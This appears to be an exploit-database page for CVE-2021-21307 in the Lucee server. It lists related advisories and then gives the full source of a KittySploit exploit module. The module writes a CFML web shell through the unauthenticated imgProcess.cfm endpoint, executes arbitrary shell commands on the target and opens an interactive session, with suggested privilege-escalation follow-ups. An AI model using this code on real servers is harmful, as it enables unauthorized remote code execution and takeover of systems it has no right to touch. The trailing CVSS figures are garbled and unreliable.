Lucee - imgProcess.cfm Unauthenticated RCE (CVE-2021-21307)
| Reporter | Title | Published | Views | Family All 21 |
|---|---|---|---|---|
| Lucee Administrator imgProcess.cfm Arbitrary File Write Exploit | 18 Aug 202100:00 | – | zdt | |
| CVE-2021-21307 | 11 Feb 202119:15 | – | attackerkb | |
| CVE-2021-21307 | 11 Feb 202122:54 | – | circl | |
| Lucee Server Authorization Issues Vulnerability | 11 Feb 202100:00 | – | cnnvd | |
| CVE-2021-21307 | 11 Feb 202118:20 | – | cve | |
| CVE-2021-21307 Remote Code Exploit in Lucee Admin | 11 Feb 202118:20 | – | cvelist | |
| Lucee - imgProcess.cfm Unauth Access Detection (CVE-2021-21307) | 10 Aug 202606:19 | – | kittysploit | |
| CVE-2021-21307 | 11 Feb 202118:20 | – | mend | |
| Lucee Administrator imgProcess.cfm Arbitrary File Write | 15 Jan 202100:00 | – | metasploit | |
| Lucee Admin - Remote Code Execution | 8 Oct 202602:15 | – | nuclei |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Lucee imgProcess.cfm unauthenticated RCE (CVE-2021-21307) — opens execute session."""
import re
import secrets
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'Lucee - imgProcess.cfm Unauthenticated RCE (CVE-2021-21307)',
'description': (
'Exploits CVE-2021-21307 by writing a CFML shell via '
'/lucee/admin/imgProcess.cfm?file=<name>.cfm and executing commands through '
'cfexecute. Opens an interactive execute session.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2021-21307'],
'platform': Platform.MULTI,
'payload': {'default': 'nopayload'},
'references': [
'https://github.com/lucee/Lucee/security/advisories/GHSA-2xvv-723c-8p7r',
'https://nvd.nist.gov/vuln/detail/CVE-2021-21307',
],
'tags': ['lucee', 'rce', 'cfml', 'unauth', 'cve-2021-21307'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 3,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.6,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [
'post/shell/multi/gather/privesc_suggester',
'scanner/http/cve_2021_21307_detect',
],
},
},
}
def _write_shell(self, name: str) -> bool:
# imgSrc body is written as CFML file contents.
cfml = (
'<cfsetting showdebugoutput="false">'
'<cfexecute name="#url.cmd#" arguments="#url.args#" '
'variable="out" timeout="10"/><cfoutput>#out#</cfoutput>'
)
r = self.http_request(
method='POST',
path=f'/lucee/admin/imgProcess.cfm?file={name}',
data='imgSrc=' + cfml,
headers={'Content-Type': 'application/x-www-form-urlencoded'},
allow_redirects=False,
)
return bool(r and r.status_code in (200, 302, 500))
def execute(self, cmd: str) -> str:
name = secrets.token_hex(6) + '.cfm'
if not self._write_shell(name):
return ''
from urllib.parse import quote
# Prefer /bin/sh -c on unix-like hosts.
path = (
f'/lucee/admin/{name}?cmd=/bin/sh&args=-c%20'
+ quote(str(cmd), safe='')
)
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r:
return ''
return r.text or ''
def check(self):
body = self.execute('id')
if re.search(r'uid=\d+', body or ''):
return {
'vulnerable': True,
'reason': 'CVE-2021-21307 confirmed: id via imgProcess.cfm shell',
'confidence': 'high',
}
# Soft fallback: endpoint reachable
probe = self.http_request(
method='POST',
path='/lucee/admin/imgProcess.cfm?file=probe.cfm',
data='imgSrc=',
headers={'Content-Type': 'application/x-www-form-urlencoded'},
allow_redirects=False,
)
if probe and probe.status_code == 200:
return {
'vulnerable': True,
'reason': 'imgProcess.cfm reachable (soft fingerprint)',
'confidence': 'medium',
}
return {
'vulnerable': False,
'reason': 'imgProcess.cfm not exploitable',
'confidence': 'medium',
}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo {token}') or '')
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
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10 Aug 2026 06:19Current
CVSS 27.5
CVSS 3.18.6 - 9.8
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